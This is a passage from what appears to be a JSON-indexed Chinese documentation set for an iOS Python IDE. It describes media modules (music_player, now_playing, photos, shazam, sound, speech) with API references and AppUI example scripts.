appui.Button(\"上一首\", action=music_player.previous),\n appui.Button(\"播放\", action=load_and_play).button_style(\"bordered_prominent\"),\n appui.Button(\"暂停\", action=music_player.pause),\n appui.Button(\"下一首\", action=music_player.next),\n ], spacing=10),\n appui.Button(f\"模式: {state.mode}\", action=toggle_mode),\n ], spacing=14)\n .padding()\n .navigation_title(\"音乐播放器\")\n )\n\n\nappui.run(body, state=state) 歌曲字段 每首歌至少需要 url: 字段 说明 `url` 音频 URL、本地路径或 `file://` `title` / `name` 歌曲标题 `artist` / `singer` 艺术家 `album` 专辑名 `duration` 可选时长;真实时长准备好后以播放器为准 `artwork_path` 本地封面路径 `artwork_url` / `cover` / `pic` 远程封面 URL,宿主会缓存后用于 Now Playing `id` 业务侧歌曲 ID,可用于你的列表选中状态 API 参考 配置 configure(now_playing=None, remote_commands=None, background=None, persist=None, auto_advance=None, progress_interval=None, can_next=None, can_previous=None) 参数 说明 `now_playing` 是否同步锁屏 / 控制中心元数据 `remote_commands` 是否响应系统播放、暂停、上一首、下一首、seek `background` 是否配置后台播放音频会话 `persist` 是否保存队列、进度和播放模式 `auto_advance` 播放结束后是否按模式自动切歌 `progress_interval` 进度事件间隔,最小 0.25 秒 `can_next` / `can_previous` 覆盖系统按钮可用状态 队列 API 说明 `set_queue(songs, start_index=0, play_mode=None, autoplay=False, preload_count=0)` 替换队列并加载当前歌曲;`preload_count` 会预备后面 N 首已解析 URL `queue()` 返回 `{queue, current_index, count}` `current()` 返回当前歌曲 `add(song, play_next=False, autoplay=False)` 追加或插到下一首 `remove(index)` 删除歌曲 `move(from_index, to_index)` 移动歌曲 `clear()` 停止并清空队列 `prepare(song, index=None)` 预备一首已有真实 `url` 的歌曲,降低之后切到它时的加载时间 `prefetch_next(count=3)` 按当前队列和播放模式预备后面几首 `preload_state()` 返回预加载池状态:`count`、`preload_count`、`items` 播放 API 说明 `play()` 播放当前歌曲 `pause()` 暂停 `toggle()` 播放 / 暂停切换 `stop()` 停止并回到 0 秒 `next()` 下一首 `previous()` 上一首;当前进度超过 3 秒时先回到开头 `seek(seconds)` 跳转 `set_play_mode(mode)` `sequence` / `repeat_all` / `repeat_one` / `shuffle` `set_volume(volume)` 0.0–1.0 `set_rate(rate)` 0.25–3.0 状态与恢复 API 说明 `state()` 返回完整状态:`state`、`playing`、`current`、`queue`、`elapsed`、`duration`、`error` 等 `restore(autoplay=False)` 恢复上次队列和进度,默认不自动播放 事件 on_event(callback, events=None) 订阅事件。callback 可以是 Python 函数或 callback id;函数收到 JSON 字符串。 常用事件: 事件 说明 `ready` 当前歌曲可播放 `play` / `pause` / `stop` 播放状态变化 `current` / `queue` 当前歌曲或队列变化 `ended` 当前歌曲结束 `progress` 进度更新 `preload` 发起预加载 `prepared` 某首预加载歌曲已准备好 `item_failed` 某首预加载歌曲准备失败 `seek` 跳转 `error` 播放错误 `restore` 恢复完成 `remote_command` 锁屏 / 控制中心按钮触发 import json\nimport music_player\n\ndef on_player_event(payload):\n event = json.loads(payload)\n print(event[\"event\"], event.get(\"state\"), event.get(\"elapsed\"))\n\nmusic_player.on_event(on_player_event, events=[\"play\", \"pause\", \"remote_command\"]) 和相关模块的分工 需求 用哪个 自己的音乐队列、锁屏按钮、后台播放 `music_player` 播放单个 URL 音频 / 视频 [avplayer](avplayer-module) AppUI 内嵌视频控件 `appui.PlayerController` + `appui.VideoPlayer` 只发布锁屏标题 / 封面 / 进度 [now_playing](now-playing-module) Apple Music 资料库 / MusicKit [music](music-module) 短音效 [sound](sound-module) 大文件后台下载 [background_download](background-download-module) 常见错误 错误写法 后果 修正 在 `body()` 里 `set_queue()` 或 `play()` 刷新时反复重载和播放 放到按钮回调或一次性初始化 用 `music` 播放自己的 MP3 URL 模块不匹配 用 `music_player` 或 `avplayer` 每个页面自己维护队列 页面关闭后状态容易散 用 `music_player.state()` / `restore()` 不处理 `error` 事件 网络或格式失败时 UI 卡住 订阅 `error` 并显示失败状态 不想锁屏显示但没配置 控制中心出现播放器卡片 播放前 `configure(now_playing=False, remote_commands=False)` 预期效果 运行后,歌曲队列由宿主全局播放器维护;关闭页面再恢复时可通过 restore() 找回上次队列和进度。启用系统集成时,锁屏和控制中心会显示歌曲信息,并把系统按钮回调给 miniapp。" + }, + { + "id": "now-playing-module", + "title": "now_playing", + "subtitle": "锁屏与控制中心的正在播放信息。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/now-playing-module/", + "text": "now_playing 锁屏与控制中心的正在播放信息。 iOS 原生模块 媒体 NowPlaying MediaPlayer LockScreen now_playing 锁屏 控制中心 正在播放 now_playing 锁屏与控制中心「正在播放」元数据:标题、艺术家、封面、进度。配合 sound 或 avplayer 播放自有音频时使用。 边界 :只发布 元数据 到系统 Now Playing 卡片,不替代音频播放本身。未实际播放时卡片可能不出现;远程流媒体优先用 avplayer 自带控制。 模块概览 项 说明 导入 `import now_playing` 适合做什么 播客/音乐 App 锁屏信息、进度条同步 调用时机 开始播放后 `set_info`;进度变化时 `update_elapsed` 推荐顺序 开始播放 → `set_info` → 定时/回调 `update_elapsed` → 结束 `clear` 封面 `artwork_path` 为本地图片路径,无效则只显示文字 快速开始 发布元数据并更新进度: import now_playing\n\ntry:\n now_playing.set_info(\n title=\"第一集\",\n artist=\"播客名称\",\n album=\"第一季\",\n duration=3600,\n elapsed=120,\n artwork_path=\"/path/cover.jpg\",\n )\n now_playing.update_elapsed(180)\nfinally:\n now_playing.clear() AppUI 示例 元数据发布与进度更新放在按钮回调;配合本地播放时卡片更稳定。 import appui\nimport now_playing\n\nstate = appui.State(\n title=\"PythonIDE 演示\",\n artist=\"播客\",\n elapsed=\"120\",\n status=\"未发布\",\n)\n\nsession = {\"elapsed\": 120.0, \"duration\": 3600.0}\n\n\ndef publish_card():\n session[\"elapsed\"] = float(state.elapsed) if state.elapsed else 0.0\n now_playing.set_info(\n title=state.title,\n artist=state.artist,\n duration=session[\"duration\"],\n elapsed=session[\"elapsed\"],\n )\n state.status = \"已发布到锁屏卡片\"\n\n\ndef advance_progress():\n session[\"elapsed\"] = min(session[\"elapsed\"] + 30, session[\"duration\"])\n state.elapsed = str(int(session[\"elapsed\"]))\n now_playing.update_elapsed(session[\"elapsed\"])\n state.status = f\"进度 {int(session['elapsed'])}s\"\n\n\ndef clear_card():\n now_playing.clear()\n state.status = \"已清除\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"元数据\", [\n appui.TextField(\"标题\", text=state.title),\n appui.TextField(\"艺术家\", text=state.artist),\n appui.TextField(\"进度(秒)\", text=state.elapsed),\n ]),\n appui.Section(\"控制\", [\n appui.Button(\"发布到锁屏\", action=publish_card)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"进度 +30 秒\", action=advance_progress),\n appui.Button(\"清除\", action=clear_card, role=\"destructive\"),\n ]),\n appui.Section(\"状态\", [\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"需配合 sound/avplayer 实际播放,锁屏卡片才稳定出现。\"),\n ]).navigation_title(\"正在播放\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `set_info(title, artist='', album='', duration=0, elapsed=0, artwork_path=None, playback_rate=1.0)` 发布完整元数据 `update_elapsed(seconds, playback_rate=1.0)` 仅更新已播放秒数 `clear()` 清除锁屏卡片信息 `NowPlayingError` 原生能力入口失败异常 set_info now_playing.set_info(\n title=\"曲目名\",\n artist=\"歌手\",\n album=\"专辑\",\n duration=240.0,\n elapsed=12.0,\n artwork_path=\"/path/cover.jpg\",\n playback_rate=1.0,\n) 参数 说明 `duration` / `elapsed` 总时长与当前进度(秒) `artwork_path` 本地封面图路径,可选 `playback_rate` 播放速率,暂停时可设 `0` update_elapsed / clear now_playing.update_elapsed(95.5)\nnow_playing.clear() 常见错误 错误写法 后果 修正 只 `set_info` 不播放音频 锁屏卡片可能不出现 配合 `sound.Player` 或 `avplayer` 封面路径无效 无封面图 检查沙盒内文件路径 忘记 `clear()` 停止后仍显示旧信息 播放结束或页面关闭时清除 在 `body()` 里自动发布 每次刷新重复设置 放进按钮或播放回调 相关文档 文档 用途 [sound](sound-module) 本地音频播放 [avplayer](avplayer-module) 音视频流播放 [audio_session](audio-session-module) 音频会话类别 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "photos-module", + "title": "photos", + "subtitle": "相册选择、拍照、保存和资源查询。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/photos-module/", + "text": "photos 相册选择、拍照、保存和资源查询。 iOS 原生模块 媒体 Photo Library Camera Asset photos photo library camera asset album pick image 相册 photos 访问系统照片库:选图、拍照、保存图片/视频、读取资源与相册,以及图片 Base64 转换。 边界 :走系统照片/相机界面,用户可随时取消(返回 None 或 False)。vision OCR 要 bytes,vision_helper 检测要 Base64;大文件不要塞进 storage。 模块概览 项 说明 导入 `import photos` 适合做什么 选图上传、拍照存档、相册浏览、视觉识别前置 调用时机 `pick_image` / `capture_image` 放在按钮回调;不要写在 `body()` 中 推荐顺序 用户点击 → `pick_image` / `capture_image` → 判空 → 处理或 `save_image` 取消处理 用户取消返回 `None`;保存失败返回 `False` 双入口:脚本与 AppUI 入口 第一行 适合场景 Python 模块 `import photos` `pick_image()`、`capture_image()` 等函数式调用 AppUI 组件 `import appui` + `PhotoPicker` 表单内嵌选图、`on_picked` 回调绑定 两种入口共享相册权限与取消语义;相机场景见 camera module,任意文件见 file picker module。 快速开始 下面脚本从相册选一张图,打印尺寸;用户取消时友好退出: import photos\n\nimage = photos.pick_image()\nif image is None:\n print(\"用户取消选图\")\nelse:\n width, height = photos.get_image_size(image)\n print(f\"已选择 {width}×{height}\")\n\n saved = photos.save_image(image, format=\"JPEG\", quality=0.85)\n print(\"保存到相册:\", \"成功\" if saved else \"失败\") 没有 Pillow 时,用 pick_image(raw_data=True) 获取 bytes。 AppUI 示例 { appui photo picker} 选图和拍照都在按钮回调里执行;取消时保持页面可操作。表单内嵌选图也可用 appui.PhotoPicker(见 AppUI 媒体参考)。 import appui\nimport photos\n\nstate = appui.State(\n status=\"等待操作\",\n size=\"—\",\n saved=\"—\",\n message=\"点击按钮开始\",\n)\n\n\ndef pick_photo():\n image = photos.pick_image()\n if image is None:\n state.batch_update(\n status=\"已取消\",\n size=\"—\",\n saved=\"—\",\n message=\"用户取消选图\",\n )\n return\n\n width, height = photos.get_image_size(image)\n state.batch_update(\n status=\"已选图\",\n size=f\"{width}×{height}\",\n saved=\"—\",\n message=\"选图成功,可继续处理或保存\",\n )\n\n\ndef capture_and_save():\n image = photos.capture_image()\n if image is None:\n state.batch_update(\n status=\"已取消\",\n size=\"—\",\n saved=\"—\",\n message=\"用户取消拍照\",\n )\n return\n\n width, height = photos.get_image_size(image)\n ok = photos.save_image(image, format=\"JPEG\", quality=0.85)\n state.batch_update(\n status=\"已拍照\",\n size=f\"{width}×{height}\",\n saved=\"已保存到相册\" if ok else \"保存失败\",\n message=\"拍照流程完成\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"操作\", [\n appui.Button(\"从相册选图\", action=pick_photo)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"拍照并保存\", action=capture_and_save),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"尺寸\", value=state.size),\n appui.LabeledContent(\"保存\", value=state.saved),\n appui.Text(state.message).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"照片\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `pick_image(...)` 系统选图 → `PIL.Image` / `bytes` / `None` `capture_image(...)` 系统拍照 → `PIL.Image` / `None` `save_image(image, ...)` 保存图片到相册 → `bool` `save_video(path)` 保存本地视频文件到相册 → `bool` `get_assets(...)` 列举照片资源 → `list[Asset]` `pick_asset(...)` 选择单个 `Asset` `pick_image_base64(...)` 选图并返回 Base64 字符串 `get_image_size(image)` 图片尺寸 → `(width, height)` 选图与拍照 pick_image(raw_data=False) — 打开系统照片选择器。 image = photos.pick_image()\nif image is None:\n print(\"用户取消\")\n\nraw = photos.pick_image(raw_data=True) # 无 Pillow 时用 bytes 默认返回 PIL.Image;raw_data=True 返回 bytes。show_albums、multi 等兼容参数会被接受但当前由系统界面决定行为。 capture_image() — 打开系统相机拍照,取消返回 None。camera、flash 等参数为兼容入口,实际由系统拍照界面控制。 image = photos.capture_image()\nif image:\n photos.save_image(image) pick_asset() — 选择照片库中的 Asset 对象,便于读取元数据: asset = photos.pick_asset()\nif asset:\n print(asset.pixel_width, asset.pixel_height)\n data = asset.get_image(original=True, raw_data=True) 保存 save_image(image, format=\"JPEG\", quality=0.85) — 保存 PIL.Image 或 bytes 到照片库。 ok = photos.save_image(image, format=\"JPEG\", quality=0.85) save_video(path) — 把本地视频文件路径写入相册(不读入内存): import network\nimport photos\n\npath = \"demo.mp4\"\nif network.download(\"https://example.com/demo.mp4\", path):\n ok = photos.save_video(path) album_name 等参数会被接受但当前忽略,文件保存到系统默认位置。 读取资源 get_assets(media_type=\"photo\", limit=20) — 列举资源,务必设置合理 limit。 assets = photos.get_assets(media_type=\"photo\", limit=20)\nfor asset in assets[:3]:\n print(asset.local_identifier, asset.pixel_width, asset.pixel_height) media_type 支持 photo、video、all。limit=0 表示不限制,列表页不建议使用。 Asset 常用属性 :local_identifier、media_type、pixel_width、pixel_height、creation_date、duration、is_favorite。 asset = photos.pick_asset()\nif asset:\n image = asset.get_image(original=True)\n raw = asset.get_image(original=True, raw_data=True) 其他读取 API:get_recent_images(count=10)、get_favorites()、get_count(media_type=\"photo\")。 相册 API 说明 `get_albums()` 用户相册 `get_smart_albums()` 系统智能相册 `get_moments()` 时刻分组 `create_album(title)` 创建相册 `get_screenshots_album()` 截图相册 `get_recently_added_album()` 最近添加 `get_selfies_album()` 自拍相册 Base64 给 vision_helper 等需要 Base64 的流程使用: import photos\nimport vision_helper\n\npayload = photos.pick_image_base64(format=\"JPEG\", quality=0.85)\nif payload:\n result = vision_helper.detect_barcodes(payload)\n print(result) API 说明 `pick_image_base64(...)` 选图 → Base64 `capture_image_base64(...)` 拍照 → Base64 `image_to_base64(image, ...)` 已有图片 → Base64 `base64_to_image(b64_string)` Base64 → `PIL.Image` 注意 :vision OCR 接收 bytes;vision_helper 检测接收 Base64 字符串。 常见错误 错误写法 后果 修正 不判断 `pick_image()` 返回值 用户取消后崩溃 先 `if image is None: return` `get_assets(limit=0)` 拉全库 内存和耗时暴涨 设置合理 `limit` 把 Base64 存进 `storage` 体积大、读写慢 存文件路径或按需重选 把文件路径传给 `vision_helper` 类型错误 用 `pick_image_base64` 或 `image_to_base64` 在 `body()` 里打开选图器 刷新时反复弹窗 放进按钮回调 相关文档 文档 用途 [vision](vision-module) 图片 bytes OCR [vision_helper](vision-helper) Base64 人脸/条码/分类检测 [permission](permission-module) 照片权限状态查询 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "shazam-module", + "title": "shazam", + "subtitle": "听歌识曲:麦克风或音频文件匹配 Shazam 曲库。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/shazam-module/", + "text": "shazam 听歌识曲:麦克风或音频文件匹配 Shazam 曲库。 iOS 原生模块 媒体 ShazamKit Music Identification shazam shazamkit 听歌识曲 识曲 what song music identification shazam 听歌识曲(ShazamKit):通过麦克风识别正在播放的歌曲,或从本地音频片段匹配曲库。 边界 :需要 iOS 17+ ,并在 Apple Developer 为 app.pythonide 的 App Services 中开启 ShazamKit (与 Capabilities 是两项配置)。实时识曲需要 麦克风 权限;recognize_file() 只需可读音频文件。与 speech_recognition(语音转文字)和 music(Apple Music 播放控制)用途不同。 模块概览 项 说明 导入 `import shazam` 适合做什么 「这是什么歌」、哼唱/外放识曲、短音频片段匹配 调用时机 `recognize()` / `recognize_file()` 放在按钮回调 推荐顺序 `is_available()` → 申请麦克风(实时模式)→ `recognize()` 音频建议 实时模式默认听 8 秒;文件模式建议 3–12 秒清晰片段 联网 需要网络访问 Shazam 曲库 快速开始 下面脚本检查能力并尝试识曲(需在安静环境、有音乐播放时测试): import shazam\n\nprint(\"可用:\", shazam.is_available())\n\ntry:\n song = shazam.recognize(duration=8)\n print(song[\"title\"], \"-\", song[\"artist\"])\n if song.get(\"apple_music_url\"):\n print(\"Apple Music:\", song[\"apple_music_url\"])\nexcept shazam.ShazamError as exc:\n print(\"识曲失败:\", exc, f\"(code={exc.code})\") 从本地短音频识曲(不需麦克风): import shazam\n\ntry:\n song = shazam.recognize_file(\"/path/to/clip.m4a\")\n print(song[\"title\"], song.get(\"album\", \"\"))\nexcept shazam.ShazamError as exc:\n print(exc.code, exc) AppUI 示例 识曲请求放在按钮回调;进行中可显示状态,成功后展示歌名与封面链接字段。 import appui\nimport shazam\n\nstate = appui.State(\n title=\"—\",\n artist=\"—\",\n status=\"点击按钮开始识曲\",\n artwork_url=\"\",\n)\n\n\ndef _show_song(song):\n state.title = song.get(\"title\") or \"—\"\n state.artist = song.get(\"artist\") or \"—\"\n state.artwork_url = song.get(\"artwork_url\") or \"\"\n state.status = \"识别成功\"\n\n\ndef listen_now():\n if not shazam.is_available():\n state.status = \"当前系统不支持 ShazamKit(需 iOS 17+)\"\n return\n\n state.status = \"聆听中…请播放音乐\"\n\n try:\n song = shazam.recognize(duration=8)\n _show_song(song)\n except shazam.ShazamError as exc:\n if exc.code == \"denied\":\n state.status = \"需要麦克风权限,请在系统设置中允许\"\n elif exc.code == \"no_match\":\n state.status = \"未识别到匹配歌曲,请靠近音源重试\"\n elif exc.code == \"shazamkit_auth\":\n state.status = \"ShazamKit 未在开发者后台开启,请配置后重装\"\n else:\n state.status = f\"识曲失败: {exc} (code={exc.code})\"\n\n\ndef cancel_listen():\n shazam.cancel()\n state.status = \"已取消\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"结果\", [\n appui.LabeledContent(\"歌曲\", value=state.title),\n appui.LabeledContent(\"歌手\", value=state.artist),\n appui.Text(state.status).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"操作\", [\n appui.Button(\"开始识曲(8 秒)\", action=listen_now)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"取消\", action=cancel_listen, role=\"destructive\"),\n ], footer=\"需要 ShazamKit App Service、网络与麦克风;真机测试最可靠。\"),\n ]).navigation_title(\"听歌识曲\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `is_available()` 是否支持 ShazamKit 实时识曲 `status()` 当前识别状态 `{recognizing, state}` `recognize(duration=8)` 麦克风识曲 → `dict` `recognize_file(path)` 本地音频文件识曲 → `dict` `cancel()` 取消进行中的 `recognize()` `ShazamError` 识曲失败时抛出 识别结果字段 成功时返回字典,常见键: 键 说明 `matched` 是否匹配成功(`True`) `title` 歌曲名 `artist` 艺术家 `album` 专辑(可能为空) `shazam_id` Shazam 媒体 ID `genres` 风格列表 `apple_music_url` Apple Music 链接(有则返回) `artwork_url` 封面图 URL(有则返回) `isrc` ISRC(有则返回) `web_url` / `video_url` 其他关联链接(有则返回) 实时识曲 import shazam\n\nsong = shazam.recognize(duration=10)\nprint(song[\"title\"], song[\"artist\"]) 参数 说明 `duration` 聆听秒数,自动限制在 3–20 秒 首次调用时系统可能弹出麦克风授权;拒绝后会抛 ShazamError(code=\"denied\")。 文件识曲 song = shazam.recognize_file(\"recording.m4a\") 建议使用 3–12 秒 、单声道/立体声均可的常见格式(m4a、wav、mp3 等)。片段太短会报 invalid_input。 异常 失败时抛出 ShazamError,可通过 exc.code 区分: `code` 含义 `unavailable` 系统版本低于 iOS 17,或 ShazamKit 不可用 `shazamkit_auth` 开发者后台未开启 ShazamKit App Service `denied` 麦克风未授权(`recognize`) `no_match` 未在曲库中找到匹配 `timeout` 聆听超时仍未匹配 `cancelled` 调用了 `cancel()` `already_recognizing` 上一次 `recognize()` 尚未结束 `invalid_input` 文件路径无效、格式不支持或音频过短 `network_error` 网络或 Shazam 服务异常 try:\n shazam.recognize()\nexcept shazam.ShazamError as exc:\n print(exc.code, exc) 常见错误 错误写法 后果 修正 在 `body()` 里调 `recognize()` 每次刷新都开麦/联网 放进按钮回调,结果写进 `State` 未开 ShazamKit App Service `shazamkit_auth` 在 Developer → App Services 勾选 ShazamKit 并重装 环境太吵或歌太短 `no_match` / `timeout` 靠近音源、延长 `duration` 或换更清晰的片段 用 1 秒文件去匹配 `invalid_input` 提供约 3–12 秒音频 不捕获 `ShazamError` 异常直接打断流程 用 `try/except` 并给出兜底 UI 相关文档 文档 用途 [music](music-module) Apple Music 播放与搜索 [speech_recognition](speech-recognition-module) 语音转文字(非识曲) [audio_recorder](audio-recorder-module) 录制音频后再 `recognize_file` [permission](permission-module) 查询其他权限状态 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "sound-module", + "title": "sound", + "subtitle": "音效播放、长音频播放器和静音开关行为。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/sound-module/", + "text": "sound 音效播放、长音频播放器和静音开关行为。 iOS 原生模块 媒体 Audio Effect Player sound play_effect player 音效 音乐 audio sound 音效与本地音频播放:短音效、长音频 Player、音量与静音开关控制。 边界 :短反馈用 play_effect;本地长音频用 Player。远程视频/流媒体请看 avplayer;文字朗读用 speech。MIDIPlayer 为兼容占位,不提供完整 MIDI 播放。 模块概览 项 说明 导入 `import sound` 适合做什么 点击音效、成功/错误提示音、本地音乐/播客播放 调用时机 放在按钮回调;页面关闭时停止循环音效 推荐顺序 短音 `play_effect` → 保存 handle → 需要时 `stop_effect` 循环音效 `looping=True` 时必须保存 handle,否则无法停止 快速开始 下面脚本播放短音效并调节全局音量: import sound\n\nhandle = sound.play_effect(\"arcade:Coin_1\", volume=0.8)\nprint(\"handle:\", handle)\n\nsound.set_volume(0.8)\nprint(\"全局音量:\", sound.get_volume())\n\nif handle:\n sound.stop_effect(handle) AppUI 示例 音效和音量控制放在按钮回调里,状态同步写回界面。 import appui\nimport sound\n\nstate = appui.State(\n status=\"未播放\",\n volume=sound.get_volume(),\n handle=None,\n)\n\n\ndef play_click():\n handle = sound.play_effect(\"arcade:Coin_1\", volume=state.volume)\n state.handle = handle\n state.status = \"音效已触发\" if handle else \"音效不可用(检查名称或文件)\"\n\n\ndef play_loop():\n if state.handle:\n sound.stop_effect(state.handle)\n handle = sound.play_effect(\"arcade:Coin_1\", volume=state.volume, looping=True)\n state.handle = handle\n state.status = \"循环播放中\" if handle else \"循环音效不可用\"\n\n\ndef stop_current():\n if state.handle:\n sound.stop_effect(state.handle)\n state.handle = None\n state.status = \"已停止当前音效\"\n\n\ndef stop_all():\n sound.stop_all_effects()\n state.batch_update(handle=None, status=\"已停止所有音效\")\n\n\ndef update_volume(value):\n state.volume = value\n sound.set_volume(value)\n state.status = f\"全局音量 {value:.1f}\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"音效\", [\n appui.Button(\"播放点击音\", action=play_click)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"循环播放\", action=play_loop),\n appui.Button(\"停止当前\", action=stop_current),\n appui.Button(\"停止全部\", action=stop_all, role=\"destructive\"),\n ]),\n appui.Section(\"音量\", [\n appui.Slider(\n value=state.volume,\n minimum=0,\n maximum=1,\n step=0.1,\n label=\"全局音量\",\n on_change=update_volume,\n ),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"音效\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `play_effect(name, ...)` 播放短音效 → handle `stop_effect(handle)` 停止指定音效 `stop_all_effects()` 停止全部音效 `set_volume(v)` / `get_volume()` 全局主音量 0.0–1.0 `set_honors_silent_switch(flag)` 是否遵守 iOS 静音开关 `Player(path)` 本地长音频播放器 短音效 play_effect(name, volume=1.0, pitch=1.0, pan=0.0, looping=False) handle = sound.play_effect(\"arcade:Coin_1\", volume=0.8)\nhandle = sound.play_effect(\"ui:click1\", looping=True)\nsound.stop_effect(handle)\nsound.stop_all_effects() 参数 说明 `name` Pythonista 风格名(如 `arcade:Coin_1`)或文件路径 `volume` 0.0–1.0 `pitch` 播放速率 0.5–2.0 `pan` 立体声 -1.0(左)到 1.0(右) `looping` 循环播放,需保存 handle 才能停止 失败时返回 None。 长音频 Player Player(file_path) — 本地音频文件播放器: player = sound.Player(\"audio.m4a\")\nplayer.volume = 0.8\nplayer.number_of_loops = 0 # 0 不循环,-1 无限循环\nplayer.play()\n\nprint(player.playing, player.duration, player.current_time)\nplayer.pause()\nplayer.stop() 属性/方法 说明 `play()` / `pause()` / `stop()` 播放控制 `playing` 是否正在播放 `duration` / `current_time` 总时长与当前位置(秒) `volume` / `rate` 音量与速率 `number_of_loops` 循环次数 全局设置 sound.set_volume(0.7)\nsound.set_honors_silent_switch(True) # 遵守静音开关 set_volume 影响所有音效和 Player。 选型 需求 API 点击/成功/错误短音 `play_effect` 停止某个循环音效 `stop_effect(handle)` 播放本地长音频 `Player` 远程视频/URL [avplayer](avplayer-module) 文字朗读 [speech](speech-module) 常见错误 错误写法 后果 修正 循环音效不保存 handle 无法停止 保存 `play_effect` 返回值 用 `sound` 朗读文字 能力不匹配 使用 [speech](speech-module) 离开页面不停止循环音 后台继续响 调用 `stop_effect` 或 `stop_all_effects` 改全局音量无 UI 反馈 用户不知当前音量 界面显示音量值 相关文档 文档 用途 [avplayer](avplayer-module) 远程视频/音频流 [speech](speech-module) 文字转语音 [haptics](haptics-module) 触觉反馈(可配合音效) [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "speech-module", + "title": "speech", + "subtitle": "文字转语音和语音列表。", + "section": "iOS 原生模块 / 媒体", + "url": "pages/speech-module/", + "text": "speech 文字转语音和语音列表。 iOS 原生模块 媒体 TTS Voice AVSpeech speech tts voice say available voices 朗读 speech 文字转语音(TTS):朗读文本、暂停/恢复、查询可用语音。 边界 :适合朗读结果、无障碍提示、学习卡片。短音效用 sound;语音识别用 speech_recognition。AppUI 回调里保持 wait=False,否则界面会被阻塞。 模块概览 项 说明 导入 `import speech` 适合做什么 朗读文本、多语言播报、无障碍反馈 调用时机 放在按钮回调;长文本必须提供停止入口 推荐顺序 先 `stop()` 清队列 → `say(..., wait=False)` → 需要时 `pause`/`resume` 语言标签 BCP-47,如 `zh-CN`、`en-US` 快速开始 下面脚本用中文朗读,并列出前几个可用语音: import speech\n\nspeech.say(\"你好,PythonIDE\", language=\"zh-CN\", wait=True)\n\nvoices = speech.available_voices()\nprint(\"可用语音数:\", len(voices))\nif voices:\n print(\"示例:\", voices[:3]) AppUI 示例 朗读控制放在按钮回调;AppUI 里使用 wait=False,并提供停止/暂停入口。 import appui\nimport speech\n\nstate = appui.State(\n text=\"你好,欢迎使用 PythonIDE\",\n language=\"zh-CN\",\n status=\"未朗读\",\n voice_count=\"—\",\n)\n\n\ndef update_text(value):\n state.text = value\n\n\ndef update_language(value):\n state.language = value\n\n\ndef refresh_voices():\n voices = speech.available_voices()\n state.voice_count = str(len(voices))\n\n\ndef speak():\n text = state.text.strip()\n if not text:\n state.status = \"请输入要朗读的文本\"\n return\n speech.stop()\n speech.say(text, language=state.language, rate=0.5, wait=False)\n state.status = \"朗读中\"\n\n\ndef pause_speech():\n speech.pause()\n state.status = \"已暂停\"\n\n\ndef resume_speech():\n speech.resume()\n state.status = \"朗读中\"\n\n\ndef stop_speech():\n speech.stop()\n state.status = \"已停止\"\n\n\ndef check_speaking():\n state.status = \"朗读中\" if speech.is_speaking() else \"空闲\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"文本\", [\n appui.TextField(\"内容\", text=state.text, on_change=update_text),\n appui.Picker(\n \"语言\",\n selection=state.language,\n options=[\"zh-CN\", \"en-US\", \"ja-JP\"],\n on_change=update_language,\n ),\n ]),\n appui.Section(\"控制\", [\n appui.Button(\"朗读\", action=speak)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"暂停\", action=pause_speech),\n appui.Button(\"继续\", action=resume_speech),\n appui.Button(\"停止\", action=stop_speech, role=\"destructive\"),\n appui.Button(\"检查状态\", action=check_speaking),\n appui.Button(\"刷新语音列表\", action=refresh_voices),\n ]),\n appui.Section(\"状态\", [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"可用语音\", value=state.voice_count),\n ]),\n ]).navigation_title(\"语音朗读\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `say(text, language, rate, pitch, volume, wait)` 朗读文本 `stop()` 立即停止 `pause()` / `resume()` 暂停 / 恢复 `is_speaking()` 是否正在朗读 → `bool` `available_voices()` 可用语音标识列表 朗读 say(text, language=None, rate=0.5, pitch=1.0, volume=1.0, wait=False) import speech\n\nspeech.say(\"Hello\", language=\"en-US\", wait=False)\nspeech.say(\"你好\", language=\"zh-CN\", rate=0.5, volume=1.0) 参数 说明 `text` 要朗读的文本 `language` BCP-47 标签,如 `zh-CN`;`None` 用系统默认 `rate` 语速 0.0–1.0 `pitch` 音调 0.5–2.0 `volume` 音量 0.0–1.0 `wait` `True` 阻塞到读完;AppUI 里用 `False` 开始新朗读前建议先 stop(),避免多段语音排队。 播放控制 speech.pause()\nspeech.resume()\nspeech.stop()\nif speech.is_speaking():\n print(\"正在朗读\") 离开页面或切换内容时调用 stop()。 语音列表 available_voices() — 